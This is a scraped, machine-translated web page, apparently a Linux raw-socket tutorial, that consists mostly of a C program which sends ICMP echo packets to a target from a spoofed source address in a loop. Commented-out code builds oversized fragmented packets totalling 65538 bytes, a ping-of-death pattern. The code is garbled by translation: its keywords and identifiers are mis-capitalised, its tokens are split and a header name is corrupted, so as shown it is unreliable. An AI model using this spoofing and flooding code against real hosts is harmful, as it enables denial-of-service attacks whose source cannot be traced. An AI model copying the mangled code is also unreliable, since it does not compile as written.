Socket raw for C network programming in Linux

Source: Internet
Author: User

Simulate Ping

// ================================================ ==================================================================== // Name: raw_myping.cpp // Author: gaotong // version: // copyright: Your copyright notice/Description: Hello world in C ++, ANSI-style // ========================================== ========================================================== = # include <stdio. h> # include <sys/types. h> # include <sys/socket. h> # include <netdb. h> # include <netinet/in. h> # In Clude <netinet/in_sy2.16.h> # include <netinet/IP. h> # include <netinet/ip_icmp.h> # include <string. h> # include <stdlib. h> # include <ARPA/inet. h> # include <unistd. h> int main (INT argc, char * argv []) {int S, I; char Buf [400]; struct IP * IP = (struct IP *) BUF; struct icmphdr * ICMP = (struct icmphdr *) (IP + 1); struct hostent * HP, * Hp2; struct sockaddr_in DST; int offset; int on; int num = 100; if (argc <3) {printf ("\ Nusage: % S <saddress> <dstaddress> [number] \ n ", argv [0]); printf ("-saddress is the spoofed source address \ n "); printf ("-dstaddress is the target \ n"); printf ("-number is the number of packets to send, 100 is the default \ n "); exit (1);}/* If the input parameter meets the requirements */If (argc = 4) /* assign a value to the number of sent packets */num = atoi (argv [3]);/* Loop Based on the packet number */for (I = 1; I <= num; I ++) {printf ("test \ n"); On = 1; bzero (BUF, siz EOF (BUF);/* Create raw socket */If (S = socket (af_inet, sock_raw, ipproto_raw) <0) {perror ("socket () error ");/* If something wrong, just exit */exit (1);}/* Use SOCKET options to inform the system of IP structure * // prototype: int setsockopt (INT socket, int level, int optname, void * optval, socklen_t optlen) if (setsockopt (S, ipproto_ip, ip_hdrincl, & on, sizeof (on) <0) {perror ("setsockopt () for ip_hdrincl Error "); Exit (1);}/* gethostbyname () returns the hostent structure pointer that corresponds to the Host Name and address information of the given host name. */If (HP = gethostbyname (argv [2]) = NULL) {If (IP-> ip_dst.s_addr = inet_addr (argv [2]) =-1) {fprintf (stderr, "% s: can't resolve, unknown host. \ n ", argv [2]); exit (1) ;}} elsebcopy (HP-> h_addr_list [0], & IP-> ip_dst.s_addr, HP-> h_length ); /* the following source address just redundant for target to collect */If (Hp2 = gethostbyname (argv [1]) = NULL) {If (IP-> ip_src.s_addr = inet_addr (argv [1]) = -1) {fprintf (stderr, "% s: can't resolve, unknown host \ n", argv [1]); exit (1 );}} elsebcopy (Hp2-> h_addr_list [0], & IP-> ip_src.s_addr, HP-> h_length); printf ("sending to % s from spoofed % s \ n ", inet_ntoa (IP-> ip_dst), argv [1]);/* IP structure, check the IP. H */IP-> ip_v = 4; IP-> ip_hl = sizeof * ip> 2; IP-> ip_tos = 0; IP-> ip_len = htons (sizeof (BUF); IP-> ip_id = htons (4321); IP-> ip_off = htons (0); IP-> ip_ttl = 255; I P-> ip_p = 1; IP-> ip_sum = 0;/* Let kernel fills in */DST. sin_addr = IP-> ip_dst; DST. sin_family = af_inet; ICMP-> type = ICMP_Echo; ICMP-> code = 0;/* Header checksum */ICMP-> checksum = htons (~ (ICMP_Echo <8); // For (offset = 0; offset <65536; offset + = (sizeof (BUF)-sizeof (* IP ))) // {IP-> ip_off = htons (Offset> 3); If (offset <65120) IP-> ip_off | = htons (0x2000 ); elseip-> ip_len = htons (418);/* make total 65538 * // * sending time */If (sendto (S, Buf, sizeof (BUF), 0, (struct sockaddr *) & DST, sizeof (DST) <0) {fprintf (stderr, "offset % d:", offset); perror ("sendto () error ");} elseprintf (" sendto () is OK. \ n ");/* If offset = 0, define our ICMP structure */If (offset = 0) {ICMP-> type = 0; ICMP-> code = 0; ICMP-> checksum = 0;} //}/* close socket */close (s); usleep (30000);} return 0 ;}

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.